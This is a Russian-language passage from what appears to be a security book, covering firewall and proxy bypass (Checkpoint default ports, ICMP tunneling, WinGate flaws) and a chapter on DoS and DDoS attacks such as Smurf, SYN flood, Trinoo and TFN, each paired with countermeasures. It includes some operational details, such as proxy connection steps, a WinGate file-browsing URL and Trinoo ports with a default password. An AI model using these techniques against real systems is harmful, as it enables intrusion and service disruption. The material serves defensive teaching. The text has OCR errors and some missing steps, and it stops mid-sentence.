Обход брандмауэров Checkpoint Брандмауэры Checkpoint 3.0 и 4.0 предоставляют открытые порты по умолчанию. Порты, используемые для обратного поиска DNS (UDP 53), переноса зоны DNS (TCP 53) и маршрутизации (RIP, UDP 520), могут задействоваться любьш узлом для доступа к любому узлу. В дополнение ко всему эти операции не регистрируются в системных журналах. В результате после "захвата" узла внутренней сети у взломщика появляются интересные возможности.
Контрмеры: защита от обхода брандмауэров CheckPoint Предотвращение В зависимости от требований к конфигурации можно запретить большую часть трафика, разрешенного по умолчанию. При этом необходимо соблюдайте осторожность, поскольку можно случайно запретить и передачу авторизованных данных. Для ограничения доступа выполните следующие действия. Туннелирование трафика ICMP и UDP Туннелирование трафика ICMP — это возможность инкапсуляции реальных данных в заголовке пакета ICMP. Против такой атаки бессильны многие маршрутизаторы, разрешающие прохождение ICMP-пакетов ECHO, ECHO REPLY и UDP-пакетов. Подобно ситуации с брандмауэром CheckPoint, связанной с передачей данных DNS, возможность использования туннелирования трафика ICMP и UDP базируется на том, что в распоряжении взломщика уже имеется взломанный узел, находящийся позади брандмауэра. Контрмеры: защита от туннелирования трафика ICMP и UDP Предотвращение Для зашиты от атак такого типа можно полностью запретить доступ по протоколу 1СМР через брандмауэр или обеспечить управляемую избирательную передачу ICMP-пакетов. Например, следующий список ACL брандмауэров Cisco позволит полностью запретить передачу административных данных ICMP за пределы подсети 172.29.10.0 (демилитаризованной зоны). access-list 101 permit icmp any 172.29.10.0 0.255.255.255 8! Если ваш провайдер услуг Internet отслеживает работоспособность компьютеров, расположенных позади брандмауэра, с помощью утилиты ping (чего мы не советуем делать), то такие списки ACL нарушат этот процесс. Уточните у своего провайдера, применяет ли он эту утилиту. |
Изъяны программных посредников Вообще, уязвимость программных посредников не очень высока. После зашиты самого брандмауэра и реализации надежных правил, используемых программным посредником, вероятность обхода брандмауэра будет значительно ниже. Однако, как и следует ожидать, зачастую брандмауэр оказывается настроен неправильно. Имя узла: localhost Ранние программные посредники системы UNIX не заботились о необходимости ограничения локального доступа. Несмотря на контроль пользователей, использующих Internet, было вполне возможно, чтобы внутренний пользователь мог получить локальный доступ к самому брандмауэру. Несомненно, при использовании такой атаки требуется знание корректного имени пользователя или пароля, используемых на брандмауэре. Однако вы очень удивитесь после того, как узнаете, насколько легко их подобрать в некоторых случаях. Для того чтобы проверить, уязвим ли ваш программный посредник подобным атакам, выполните следующие действия. С:\> nc -v -n 192.168.51.129 23 1. Введите localhost. Контрмеры: защита от использования имени localhost Предотвращение Способ устранения ошибок в конфигурации во многом зависит от типа используемого брандмауэра. В любом случае можно реализовать правило, ограничивающее возможность доступа с определенных узлов. Конечно, лучше всего вообще запретить регистрацию с использованием имени localhost. Однако если это все же необходимо, установите TCP-оболочку, с помощью которой можно разрешить соединение лишь узлам с определенными IP-адресами. Неавторизованный внешний доступ к программному посреднику Такой подход наиболее пригоден для доступа к брандмауэрам, реализующим прозрачные функции, однако мы довольно часто сталкиваемся с его использованием. Администратор может уделить самое пристальное внимание обеспечению безопасности брандмауэра и установить строгие правила доступа, однако в то же время забыть о необходимости блокирования доступа извне. В этом случае сразу же возникнет два типа опасности: (1) взломщик может воспользоваться proxy-сервером для атак на всевозможные узлы Internet, активно применяя изъяны сценариев CG1 и различные методы мошенничества в Web, и (2) с помощью средств Web злоумышленник сможет получить доступ к вашей интрасети. Нам приходилось встречать подобным образом сконфигурированные брандмауэры и каждый раз мы могли получить доступ ко всей корпоративной интрасети. Контрмеры: защита от неавторизованного внешнего доступа к программному посреднику Предотвращение Для того чтобы предотвратить такую атаку, нужно запретить доступ к программному посреднику со стороны внешнего интерфейса брандмауэра. Поскольку конкретный алгоритм решения этой задачи сильно зависит от производителя, свяжитесь с ним для получения более подробной дополнительной информации. |
Изъяны WinGate Известно, что популярный программный брандмауэр WinGate систем Windows 95/NT (http://wingate.deerfield.com/) обладает несколькими уязвимыми местами. Большинство из них связано со значениями параметров, установленными по умолчанию, разрешающими неавторизованное использование служб telnet, SOCKS и Web. Хотя доступ к этим службам можно ограничить на уровне отдельных пользователей (и интерфейсов), в большинстве случаев установка и использование этого программного пакета выполняется без учета каких бы то ни было требований к защите. Список серверов WinGate можно найти на узле группы энтузиастов CyberArmy по адресу http://www.cyberarmy.com/wingate/. Неавторизованный просмотр Как и многие другие неправильно сконфигурированные программные посредники, определенные версии брандмауэра WinGate (в частности, 2.1 для NT) позволяют внешним пользователям абсолютно анонимно просматривать Internet. Такая возможность оказывается чрезвычайно важной для взломщиков, нацеленных на "захват" приложений Web-сервера, поскольку ею содержимое можно получить без риска быть пойманным. Защититься от Web-атак очень сложно, поскольку весь трафик туннелируется и направляется на порт 80. Более подробно хакинг Web рассматривается в главе 15. Контрмеры: защита от неавторизованного просмотра Предотвращение Для того чтобы нейтрализовать описанный изъян сервера WinGate, нужно просто ограничить привязку определенных служб. Для ограничения использования служб proxy-сервера на многоадаптерном (multihomed) узле выполните следующие действия. [root]* telnet 172.29.11.191 2. После появления на экране приведенного выше текста введите адрес узла для подключения. Connecting to host 10.50.21.5...Connected
Контрмеры: защита от неавторизованного доступа к службе telnet Предотвращение В данном случае можно воспользоваться теми же рекомендациями, что приведены в разделе " Контрмеры: Защита От Неавторизованного Просмотра". Для устранения проблемы просто ограничьте привязку определенных служб сервера WinGate. На многоадаптерном узле выполните для этого следующие действия. Просмотр файлов Согласно одной из статей бюллетеня Digital Security Advisory сервер WinGate 3.0 через порт управления 8010 позволяет любому пользователю просматривать файлы системы. Для того чтобы проверить, уязвима ли ваша система, выполните следующие инструкции. http://192.168.51.101:8010/c:/ Если система уязвима, то вы сможете просмотреть каждый файл каталога, а также перемещаться по иерархии каталогов по своему усмотрению. Такая возможность чрезвычайно опасна, поскольку некоторые приложения хранят имена пользователей и пороли в виде незашифрованного текста. Например, если для удаленного управления серверами на вашем компьютере установлены программы Remotely Possible или ControlIT компании Computer Associates, то имена пользователей и пароли, используемые при аутентификации, хранятся либо в незашифрованном виде, либо в форме, которую не составляет труда расшифровать (см. главу 13). Контрмеры: предотвращение просмотра файлов Для текущей версии сервера WinGate в настоящее время нет модуля обновления, позволяющего устранить проблему просмотра файлов. Для получения более подробной информации о доступных модулях обновления обратитесь на соответствующий узле поддержки по адресу http: /wingate.deerfield.com/helpdesk/. |
Резюме На самом деле правильно сконфигурированный брандмауэр оказывается чрезвычайно хорошо защищенным. Однако при использовании средств сбора информации, таких как утилиты traceroute, hping и nmap, взломщики могут исследовать потенциальные пути прохождения маршрутизатора и брандмауэра, а также определить их тип (или как минимум сделать на этот счет определенные предположения). Большинство из известных в настоящее время изъянов связано с неправильной настройкой брандмауэра или недостаточным вниманием к его администрированию. Использование взломщиком любого из них может привести к настоящей катастрофе. |
Глава 12. АТАКИ DOS
|
Атаки DoS Взрыв и медленно рассеивающееся облако. Нет, сейчас речь пойдет не о детском безалкогольном напитке. Мы познакомимся с различными средствами, которыми пользуются взломщики. В последние годы их применение приводит к опустошительному хаосу в Internet. Ежегодно атаки DoS (Denial of Service — отказ в обслуживании) стоят различным компаниям миллионы долларов и таят в себе серьезную угрозу для любой системы или сети. Все эти убытки обусловлены длительным простоем системы, упущенным доходом и большим объемом работ по идентификации и подготовке адекватных ответных мер. По существу, атака DoS нарушает или полностью блокирует обслуживание легитимных пользователей, сетей, систем или других ресурсов. Цель любой из таких атак обычно не имеет ничего общего с благими намерениями, и ее достижение зачастую не требует высокой квалификации, поскольку все необходимые средства абсолютно доступны. |
Причины использования атак DoS На протяжении этой книги обсуждались и демонстрировались многочисленные средства и приемы, используемые взломщиками для нарушения системы защиты различных систем. Зачастую политика обеспечения безопасности, реализованная в целевой системе или сети, способна предотвратить проникновение неквалифицированных злоумышленников. Ощущая свое бессилие, взломщик может прибегнуть к последнему средству — атаке DoS. |
Типы атак DoS Зачастую гораздо проще нарушить функционирование сети или системы, чем на самом деле получить к ней доступ. Сетевые протоколы типа TCP/IP были разработаны для применения в открытом и доверенном сообществе пользователей, и его текущая версия 4 унаследовала все слабые места своих предшественников. Кроме того, многие операционные системы и сетевые устройства имеют различные изъяны в используемой реализации сетевого стека, что значительно снижает их способность противостоять атакам DoS. Мы были свидетелями, как на устройствах управления различными процессами, в которых использовался устаревший стек протокола IP, сбой происходил от простого перенаправления ICMP с некорректным параметром. Поскольку существует много средств для реализации атак DoS, очень важно идентифицировать их типы, а также разобраться с тем, как выявить и предотвратить эти атаки. Сначала мы познакомимся с теорией, лежащей в основе четырех стандартных типов атак DoS. |
Насыщение полосы пропускания Наиболее коварной формой атак DoS является насыщение полосы пропускания (bandwidth consumption). По существу, взломщики могут заполнить всю доступную полосу пропускания определенной сети. Это можно осуществить и в локальной сети, однако чаще всего злоумышленники захватывают ресурсы удаленно. Для реализации такой атаки можно воспользоваться двумя сценариями. Сценарий 1 Взломщик может насытить сетевое подключение целевой системы, воспользовавшись более широкой полосой пропускания. Такой сценарий вполне возможен, если злоумышленник обладает сетевым подключением Т1 (1.544 Мбит/с) или более быстрым, и лавинно заполняет сетевое соединение с полосой пропускания 56 или 128 Кбит/с. Это эквивалентно столкновению трактора-тягача с автомобилем Yugo: большее транспортное средство, или в данном случае канал, наверняка станет победителем в этой битве. Этот тип атак не ограничивается возможностью применения к низкоскоростным сетевым соединениям. Нам встречались ситуации, когда взломщики получали доступ к сетям с полосой пропускания более 100 Мбит/с. Для атаки на Web-узел и насыщения его канала взломщику достаточно иметь канал Т1. Сценарий 2 Взломщики усиливают атаку DoS, вовлекая в процесс насыщения целевого сетевого соединения несколько узлов. Воспользовавшись таким подходом, сеть с доступом ТЗ (45 Мбит/с) можно насытить с помощью канала связи 56 Кбит/с. Благодаря чему это возможно? Используя другие узлы для усиления атаки DoS, взломщик с помощью ограниченной полосы пропускания может насытить полосу пропускания 100 Мбит/с. Для того чтобы успешно реализовать эту возможность, взломщик должен привлечь дополнительные узлы. Как вы увидите ниже в данной главе, в некоторых случаях осуществить усиление атаки гораздо проще, чем может показаться на первый взгляд. |
Недостаток ресурсов Атака, приводящая к недостатку ресурсов (resource starvation), отличается от предыдущей атаки тем, что она направлена на захват системных ресурсов, таких как центральный процессор, память, дисковые квоты или другие системные процессы. Зачастую взломщик обладает легитимным доступом к ограниченному количеству системных ресурсов. Однако он предпринимает попытку захватить и дополнительные ресурсы. Таким образом, система или законные пользователи будут испытывать недостаток в совместно используемых ресурсах. Атаки такого типа обычно приводят к недоступности ресурса, и, следовательно, к краху системы, переполнению файловой системы или зависанию процессов. |
Ошибки программирования Ошибки программирования (programming flaw) заключаются в неспособности приложения, операционной системы или логической микросхемы обрабатывать исключительные ситуации. Обычно эти ситуации возникают при передаче уязвимому элементу несанкционированных данных. Взломщики будут много раз передавать пакеты, в которых не учитываются рекомендации документов RFC, чтобы определить, способен ли сетевой стек справиться с этими исключениями или это приведет к панике ядра (kernel panic) или краху всей системы. Для определенных приложений, которым требуются пользовательские входные данные, взломщики будут передавать строковые данные длиной в тысячи строк. Если программой используется буфер фиксированной длины, скажем, 128 байт, то злоумышленники попробуют сгенерировать условие переполнения буфера и вызвать крах приложения. Что еще хуже, взломщики могут также выполнить привилегированные команды, как описывалось в главах 5 и 7. Ошибки программирования часто встречаются и в логических микросхемах. Печально известная атака под названием Pentium f00f основывается на том, что пользовательский процесс, выполнив некорректную инструкцию 0xf 00f c7c8, приведет к краху любой операционной системы. |
Маршрутизация и атаки DNS Такие атаки DoS основываются на манипуляции записями таблицы маршрутизации, что приводит к прекращению обслуживания легитимных систем или сетей. Большинство протоколов маршрутизации, такие как RIP версии 1 (Routing Information Protocol) и ВОР (Border Gateway Protocol), не имеют вообще или используют слабые алгоритмы аутентификации. Это предоставляет взломщикам прекрасную возможность изменять маршруты, зачастую указывая ложный исходный IP-адрес и вызывая состояние отказа в обслуживании. В результате таких атак трафик целевой сети маршрутизируется через сеть взломщика или в черную дыру, т.е. в никуда — в сеть, которой не существует.
|
Общие атаки DoS Некоторые атаки DoS можно использовать для нескольких типов систем. Мы будем называть такие атаки общими (generic). В основном общие атаки направлены на насыщение полосы пропускания или захват ресурсов. Стандартным элементом атак этого типа является манипулирование протоколами. При использовании протокола ICMP одновременно можно воздействовать на несколько систем. Например, взлом-шик может воспользоваться "почтовой бомбой" и отправить тысячи почтовых сообщений целевой системе, чтобы насытить полосу пропускания и истощить ресурсы почтового сервера. Хотя вирус Melissa не планировалось использовать в качестве средства генерации атаки DoS, однако на гребне лавины почтовых сообщений он может привести к краху почтового сервера. Его саморепликация оказалась настолько успешной, что из-за недостатка ресурсов почтовые серверы просто завершают свою работу. Атака Smurf Атака Smurf — это одна из наиболее опасных атак DoS, поскольку при ее реализации на целевые узлы осуществляется усиленное воздействие. Эффект усиления возникает из-за рассылки направленных широковещательных ping-запросов на узлы сети, которые должны сгенерировать ответные сообщения. Направленный широковещательный запрос может передаваться либо на сетевой адрес, либо на сетевой широковещательный адрес, однако в любом случае требуется устройство, выполняющее преобразование данных уровня 3 (IP) к уровню 2 (сеть). (Более подробную информацию по этому вопросу можно получить в документе RFC 1812, Requirements for IP Version 4 Routers.) Если предполагается, что сеть принадлежит к классу С, то сетевым адресом будет .0, а широковещательным адресом — .255. Направленные широковещательные запросы обычно используются для диагностики, позволяя выявить функционирующие узлы без использования утилиты ping отдельно для каждого адреса используемого диапазона. Контрмеры: защита от атак Smurf Для того чтобы предотвратить возможность использования вашей сети (компьютера) для усиления, запретите прохождение направленных широковещательных запросов на пограничном маршрутизаторе. На маршрутизаторах Cisco для этого можно воспользоваться командой no ip directed-broadcast. На устройствах Cisco IOS версии 12 этот режим включен по умолчанию. При использовании других устройств обратитесь к документации, входящей в комплект поставки. Системы Solaris 2.6, 2.5.1, 2.5, 2.4 и 2.3 Чтобы предотвратить генерацию ответных сообщений на запросы ECHO в системах Solaris, добавьте в файл /etc/rc2 .d/S69inet следующую строку, ndd -set /dev/ip ip_respond_to_echo_broadcast 0 Linux Для того чтобы обеспечить такую же защиту в системе Linux, необходимо активизировать функции брандмауэра на уровне ядра с помощью утилиты ipfw. Убедитесь, что эти требования учтены при компиляции ядра и выполните следующие команды ipfwadm -I -a deny -Р icmp -D 10.10.10.0 -S О/О 0 8 При этом не забудьте заменить строку 10.10.10.0 своим сетевым адресом, а 10.10.10.255 — сетевым широковещательным адресом. FreeBSD Система FreeBSD версии 2.2.5 и выше запрещает обработку направленных широковещательных запросов по умолчанию. Этот режим можно активизировать или отключить, изменив параметр sysctl в файле net. inet. icmp. bmcastecho. AIX Система AIX 4.x запрещает генерировать ответные сообщения на широковещательные запросы по умолчанию. Для переключения этого режима можно воспользоваться командой по с параметром bcastping. Эта команда служит для настройки сетевых атрибутов в выполняющемся ядре. Данные атрибуты должны устанавливаться при каждом запуске системы. Все версии системы UNIX Для того чтобы предотвратить генерацию узлами сообщений в ответ на атаку Fraggle, отключите службы echo и chargen в файле /etc/inetd/conf, поместив в начало соответствующих строк символ #. |
Узлы под воздействием атак Конечно, очень важно понимать, как предотвратить возможность использования узла в качестве усилителя атаки, однако еще важнее разобраться в том, как определить, что узел уже используется для этих целей. Как упоминалось в предыдущих главах, нужно ограничить возможность поступления данных ICMP и UDP лишь заданных типов и только на требуемые узлы. Причем это нужно обеспечить на пограничных маршрутизаторах. Естественно, такая мера не позволит защититься от атак Smurf и Fraggle, приводящих к насыщению полосы пропускания. Гораздо лучше обратиться к провайдеру услуг Internet и совместными усилиями максимально ограничить входящий трафик ICMP. Эти защитные меры можно усилить с помощью режима CAR (Committed Access Rate — допустимая частота обращений), который можно установить на устройствах Cisco IOS 1.1СС, 11.ICE и 12.0. Это позволит ограничить трафик ICMP некоторой разумной величиной, например 256 или 512 Кбайт. Атака с помощью переполнения пакетами SYN До того как атака Smurf не стала такой популярной, наиболее разрушительной считалась атака с помощью переполнения пакетами SYN. Упоминавшаяся в начале этой главы атака на компанию PANIX является прекрасным примером реализации такой атаки. Давайте подробно разберемся с тем, что же происходит в этом случае. В обычной ситуации пакет SYN отсылается с определенного порта системы А на конкретный порт системы в, который находится в состоянии LISTEN. В этот момент потенциальное соединение системы в находится в состоянии SYN_RECV. На этой стадии система в передает системе А пакет SYN/ACK. Если процесс проходит нормально, система А передает обратно пакет АСК и соединение переходит в состояние ESTABLISHED. Контрмеры: защита от атак с использованием пакетов SYN Чтобы определить, подвержена ли атаке ваша система, можно воспользоваться командой netstat, если она поддерживается операционной системой. Многочисленные соединения в состоянии SYN_RECV свидетельствуют о том, что именно в этот момент проводится атака. Увеличение размера очереди на установку соединений Несмотря на то что стек протокола IP каждым производителем реализуется по-своему, вполне возможно настроить размер очереди на установку соединений таким образом, чтобы нейтрализовать воздействие атаки с использованием пакетов SYN. Это полезное, однако не самое оптимальное решение, поскольку его реализация требует дополнительных системных ресурсов, а это может сказаться на общей производительности. Уменьшение периода ожидания установки соединения Сокращение интервала ожидания установки соединения также поможет снизить влияние атаки. Тем не менее, это тоже не самое оптимальное решение проблемы. Использование пакетов обновления программного обеспечения и защита от потенциальных атак SYN Как следует из названия подраздела, большинство современных операционных систем имеет встроенные механизмы выявления и предотвращения атак с использованием пакетов SYN. Для получения перечня таких операционных систем и соответствующих модулей обновления читайте отчет СА-96:21 группы CERT TCP SYN Flooding and IP Spoofing Attacks. Использование сетевых систем IDS Некоторые системы IDS уровня сети могут обнаруживать и активно противодействовать атакам SYN. Такие атаки можно обнаружить по возросшему потоку пакетов SYN, который не сопровождается потоком ответных сообщений. Система выявления вторжений может передать системе, используемой в процессе атаки, пакет RST, соответствующий начальному запросу SYN. Это будет способствовать восстановлению корректного состояния очереди на установку соединений. Атаки DNS В 1997 году группа специалистов по вопросам безопасности Secure Networks, Inc. (SNI), которая в настоящее время называется Network Associates, Inc. (NAI), опубликовала отчет о различных изъянах реализации BIND (Berkeley Internet Name Domain) системы DNS (NAI-0011, BIND Vulnerabilities and Solutions). Версии BIND до 4.9.5.+Р1 могут кэшировать фиктивную информацию, если активизирован режим рекурсии. Этот режим позволяет серверу имен обрабатывать запросы на получение данных о зонах и доменах, которые он не обслуживает. Когда серверу имен приходит запрос на получение информации о неизвестной зоне или домене, он перенаправляет запрос авторизованному серверу имен этого домена. После получения ответа от этого сервера первый сервер имен передает полученные данные обратно узлу, сгенерировавшему запрос. Контрмеры: защита службыDNS Для разрешения проблем службы BIND обновите ее версию до 4.9.6 или 8.1.1 и выше. Поскольку изъян многих версий BIND связан с возможностью повреждения буфера, лучше всего обновить ее используемую версию до самой последней, в которой реализованы дополнительные средства зашиты. Для получения более подробной информации по этому вопросу обращайтесь по адресу http://www.isc.org/bind.html. Информацию о модулях обновления можно найти в отчете СА-97.22 BIND — the Berkeley Internet Name Daemon. |
Атаки DoS систем UNIX и Windows NT Последние двадцать лет популярность системы UNIX неустанно возрастает. И это абсолютно закономерно, поскольку эта система обладает мощью, элегантностью и позволяет выполнять самые невероятные задачи. В то же время эти же преимущества иногда могут послужить причиной возникновения некоторых проблем. В течение многих лет были выявлены сотни условий DoS в различных версиях системы UNIX. |
Удаленные атаки DoS В настоящее время большинство условий DoS связано с ошибками в программировании, которые имеют отношение к реализации стека IP различными разработчиками. Как упоминалось в главе 2, каждый разработчик реализует стек IP по-разному. Поскольку реализация стека является достаточно сложной задачей, решение которой постоянно эволюционирует, то всегда имеется большая вероятность появления самых разнообразных ошибок. В основе многих атак лежит возможность передачи пакета или последовательности пакетов на целевой узел и использование определенного изъяна программного обеспечения. После того как эти пакеты будут получены целевой системой, могут возникать самые различные ситуации, начиная с некорректной обработки поступивших пакетов до краха всей системы в целом. Перекрытие фрагментов пакетов IP Эти атаки связаны с изъянами в программном коде определенной реализации стека IP, который используется для восстановления пакетов. Когда пакеты проходят через различные сети, может оказаться необходимым разделить эти пакеты на меньшие части (фрагменты), размер которых определяется заданным в сети значением MTU (Maximum Transmission unit — максимальная единица передачи). Такая атака была характерна для старых версий ядра системы Linux, в котором некорректно обрабатывались перекрывающиеся IP-фрагменты. Хотя ядро Linux и следит за тем, чтобы фрагменты не превышали максимально допустимого размера, такая проверка не выполняется для слишком малых фрагментов. Таким образом, тщательно сконструированные пакеты после их отправки системе Linux могут привести к ее перезагрузке или останову функционирования. Linux является далеко не единственной системой, которая уязвима для таких атак. Системы Windows NT/95 также могут подвергаться подобным нападениям (newtear.c, syndrop.c, boink.c). Контрмеры Ошибки, используемые в описанных выше атаках, были исправлены в более поздних версиях ядра 2.0.x и 2.2.x. Для обеспечения защиты обновите ядро операционной системы до версии 2.0.x или 2.2.x. В этих версиях исправлен не только алгоритм восстановления фрагментов IP-пакетов, но и многие другие ошибки подсистемы защиты. Утечка памяти в Windows NT -именованные каналы поверх RPC В системе Windows NT возможна утечка памяти, управляемой файлом spoolss.exe, позволяющая неавторизованному пользователю подсоединиться к ресурсу \\server\ PIPEXSPOOLSS и захватить всю доступную память целевой системы. Ситуация усугубляется еще и тем, что эту атаку можно реализовать через нулевое соединение даже в том случае, когда в системном реестре установлено значение RestrictAnonymous. Для полного и скрытого захвата всех ресурсов может потребоваться некоторое время, поэтому деятельность вхтомшика может оказаться довольно продолжительной. Контрмеры: предотвращение утечки памяти Для предотвращения этой атаки через нулевое соединение нужно удалить параметр SPOOLSS, расположенный в поддереве системного реестра HKLM\System\CCS\ Services\LanmanServer\ Parameters\NullSessionPipes (REG_MULTI_SZ). Однако не забывайте, что эта мера не позволит обезопасить систему от проведения атаки авторизованными пользователями. Переполнение буфера в FTP-сервере IIS Как вы узнали из главы 8, атаки с использованием переполнения буфера чрезвычайно эффективны при нарушении зашиты уязвимых систем. Кроме того, переполнение буфера оказывается эффективным также для создания условия DoS. Если в результате переполнения буфера не удалось получить привилегии администратора, то в большинстве случаев его можно использовать для того, чтобы удаленно вызвать крах уязвимого приложения. Контрмеры: защита от переполнения буфера в RP-сервере IIS Описанную проблему позволяют устранить сервисный пакет SP5 и модули обновления, выпушенные компанией Microsoft после появления сервисного пакета SP4 Атаки stream и raped Программа stream, с (неизвестного автора) и raped.с, написанная Ликвидом Стилом (Liquid Steel), появились в начале 2000 года. С их использованием можно осуществить две похожие друг На друга простые атаки, которые, несмотря на это, будут очень эффективными.
Контрмеры: защита от атак stream и raped К сожалению, для защиты от таких атак модули обновления выпущены лишь для некоторых операционных систем. Нам неизвестно о каких-либо модулях обновления Windows NT. Однако в системе FreeBSD можно воспользоваться неофициальным модулем, который можно получить по адресу http: //www. freebsd.org/~alfred/tcp_fix.diff. Атака на сервер ColdFusion Эта атака была исследована в июне 2000 года компанией Foundstone. Она основана на ошибке программы и позволяет нарушить функционирование сервера. Условие DoS возникает в процессе конвертирования введенного и хранящегося паролей в форму, пригодную для их сравнения, когда введенный пароль имеет очень большой размер (более 40000 символов). Воспользоваться этим приемом очень просто. Для получения более подробной информации читайте главу 15. Контрмеры Подробные рекомендации по устранению этого изъяна приведены в главе 15, "Хакинг в Web". |
Распределенные атаки DoS В сентябре 1999 года в момент появления первого издания этой книги концепция распределенных атак DoS была не более чем предположением. А сейчас разговор о компьютерах без упоминания фразы "распределенная атака DoS" (DDoS — Distributed Denial of Service) можно считать неполным. Как и вирусы, появляющиеся в Internet как сорная трава, атаки DDoS привлекают все большее внимание средств массовой информации.
TFN Пакет TFN (Tribe Flood Network), разработанный хакером Микстером (Mixter), является первым общедоступным средством реализации атаки DDoS, который предназначен для использования в системе UNIX. В состав пакета входит как клиентский, так и серверный компонент. Это позволяет взломщику установить серверную часть на удаленном взломанном узле, а затем с помощью нескольких команд, введенных с использованием клиентной части, инициировать полномасштабную распределенную атаку DoS. С помощью пакета TFN можно реализовать атаки с использованием ICMP-, UDP-пакетов, пакетов SYN, а также атаку Smurf. Помимо этих компонентов, в состав пакета TFN входит модуль, позволяющий получить доступ к удаленной командной оболочке, связанной с TCP-портом. Контрмеры Обнаружение Для выявления атак TFN существует несколько механизмов, и соответствующие средства можно найти в Internet. К заслуживающим внимания инструментам можно отнести следующие: DDOSPing Робина Кейра , Zombie Zapper от группы Razor и find_ddos, разработанный центром NIPC (National Infrastructure Protection Center). Предотвращение Конечно, наилучшая зашита компьютеров от использования в качестве "зомби" заключается в предотвращении их взлома на начальной стадии атаки. Это означает, что нужно реализовать все шаги, описанные в главе 8: ограничьте использование служб, установите модули обновления операционной системы и приложений, задайте адекватные разрешения на использование каталогов и файлов, а также воспользуйтесь всеми другими рекомендациями. Trinoo Как и TFN, в состав пакета Trinoo входит программа удаленного управления (клиент), которая взаимодействует с основной программой, передающей команды программе-демону (серверу). Взаимодействие между клиентом и основной программой осуществляется посредством соединения через TCP-порт 27665. При этом обычно используется пароль betaalmostdone. Связь основной программы с сервером устанавливается через UDP-порт 27444, а в обратном направлении — через LJDP-порт 31335. Контрмеры: защита от использования пакета Тrinоо Обнаружение Для выявления атак Trinoo существует несколько механизмов, и соответствующие средства можно найти в Internet. К заслуживающим внимания инструментам можно отнести следующие: DDOSPing Робина Кейра, Zombie Zapper от группы Razor () и find_ddos , разработанный центром NIPC (National Infrastructure Protection Center). Предотвращение Как и в случае пакета TFN, наилучшая зашита состоит в применении всех рекомендаций, приведенных в главе 8. Stacheldraht Пакет Stacheldraht комбинирует возможности Тrinоо и TFN и является мощным деструктивным средством, реализующим зашифрованный сеанс telnet между главным и подчиненным модулем. Теперь взломщик может блокировать системы выявления вторжений и благодаря этому получать неограниченные возможности по генерации условия DoS. Как и TFN, пакет Stacheldraht предоставляет возможность инициирования ICMP-, UDP-, SYN- и Smurf-атак. Взаимодействие клиента с сервером осуществляется через комбинацию TCP- и ICMP-пакетов ECHO REPLY. Контрмеры Обнаружение Для выявления атак Stacheldraht существует несколько механизмов, и соответствующие средства можно найти в Internet. К заслуживающим внимания инструментам можно отнести следующие: DDOSPing Робина Кейра , Zombie Zapper от группы Razor и find_ddos, разработанный центром NIPC (National Infrastructure Protection Center). Предотвращение Как и ранее, лучше всего предотвратить использование компьютеров в качестве "зомби". Это означает, что необходимо учесть все рекомендации, приведенные в главе 8, т.е. ограничить использование служб, установить модули обновления операционной системы и приложений, задать необходимые разрешения на использование файлов/каталогов и т.д. TFN2K Аббревиатура TFN2K — это обозначение пакета TFN 2000. который является преемником пакета TFN, разработанного хакером Микстером (Mixter). Это одно из самых последних средств DDoS, которое принципиально отличается от своего предшественника и позволяет в процессе взаимодействия использовать порты с произвольно выбранными номерами. Благодаря этому можно обойти блокирование портов на пограничных маршрутизаторах. Как и TFN, пакет TFN2K поддерживает SYN-, UDP-, ICMP- и Smurf-атаки. а, кроме того, позволяет случайным образом переключаться между различными методами проведения атаки. Однако в отличие от алгоритма шифрования, используемого в пакете Stacheldraht, в TFT2K применяется более слабый алгоритм Base 64. Контрмеры Обнаружение Дта выявления атак TFN2K существует несколько механизмов, и соответствующие средства можно найти в Internet. К заслуживающим внимания инструментам можно отнести следующие: DDOSPing Робина Кейра , Zombie Zapper or группы Razor и find_ddos , разработанный центром N1PC (National Infrastructure Protection Center). Предотвращение Как и ранее, лучше всего предотвратить использование компьютеров в качестве "зомби". Это означает, что необходимо учесть все рекомендации, приведенные в главе 8, т.е. ограничить использование служб, установить модули обновления операционной системы и приложений, задать необходимые разрешения на использование файлов/каталогов и т.д. WinTrinoo Широкой общественности программа WinTrinoo впервые была представлена группой Razor. Это версия пакета Trinoo, предназначенная для использования в системе Windows. Это средство представляет собой программу типа "троянский конь", которая обычно называется service, ехе (если не была переименована) и имеет размер 23,145 байт. Контрмеры Для того чтобы выявить программу WinTrinoo, нужно проверить сеть на предмет открытого порта с номером 34555 или выполнить поиск файла с именем service. ехе (если он не был переименован) размером 23,145 байт. Кроме такого "ручного" способа можно воспользоваться также антивирусной программой Norton Antivirus компании Symantec, которая автоматически изолирует этот файл еше до его запуска. |
Локальные атаки DoS Несмотря на то что удаленные атаки DoS получили большее распространение, локальные атаки тоже способны принести немало бед. Существует множество многопользовательских систем, в которых атаку DoS может инициировать авторизованный пользователь. Большинство локальных атак основано на захвате ресурсов или на использовании изъянов в программном обеспечении и направлено на то, чтобы запретить доступ легитимным пользователям. В системах NT и UNIX существуют сотни возможностей реализации локальных атак DoS, однако мы познакомимся с захватом ресурсов и использованием ошибок в программном обеспечением для систем Windows NT и UNIX соответственно. Терминальный сервер Windows NT и процесс proquota. ехе Классическим примером атаки, направленной на захват ресурсов, является использование свободного дискового пространства сверх выделенной квоты. Если функции квотирования дискового пространства в мире UNIX давно ни у кого не вызывают удивления, то в системе Windows NT эта возможность является относительно новой. Терминальный сервер Windows NT позволяет обычному пользователю применить функцию квотирования дискового пространства и заполнить системный диск (%systemdrive%). После этого пользователи, у которых отсутствует кэшированный профиль доступа, не смогут обратиться к системе. В процессе этой атаки пользователи, у которых превышена дисковая квота, не смогут завершить свою работу. Однако для того, чтобы обойти это ограничение, можно удалить процесс proguota. ехе. Это можно осуществить, поскольку владельцем этого процесса является пользователь, а не системная учетная запись. Контрмеры Практика подсказывает, что системные файлы и пользовательские данные лучше всего хранить в разных разделах. Эта аксиома как нельзя лучше подходит к приведенному примеру. Переменная %systemdrive% должна указывать на другой диск, а не на тот, на котором хранятся данные пользователей. Кроме того, поместите профили на незагружаемом разделе и используйте их только при необходимости. Паника ядра В ядре системы Linux версии 2.2.0 появлялась потенциальная возможность для возникновения условия DoS, если программа idd, используемая для печати зависимостей совместно используемых библиотек, применялась для печати определенных файлов ядра. Этот изъян был связан с вызовом функции munmap (), используемой для отображения файлов или устройств в оперативную память. При определенных обстоятельствах функция munmap () могла перезаписать важные области памяти, используемые ядром, и вызвать в системе панику и ее перезагрузку. Хотя такая ситуация не выглядит необычной, она все же иллюстрирует основную концепцию, на которой основано большинство направленных на ядро атак. В большинстве случаев непривилегированный пользователь может воспользоваться изъяном в программном обеспечении и повредить важную область памяти, применяемую ядром. Конечным результатом подобной деятельности практически всегда является паника ядра (panic kernel). Контрмеры против паники ядра Модуль 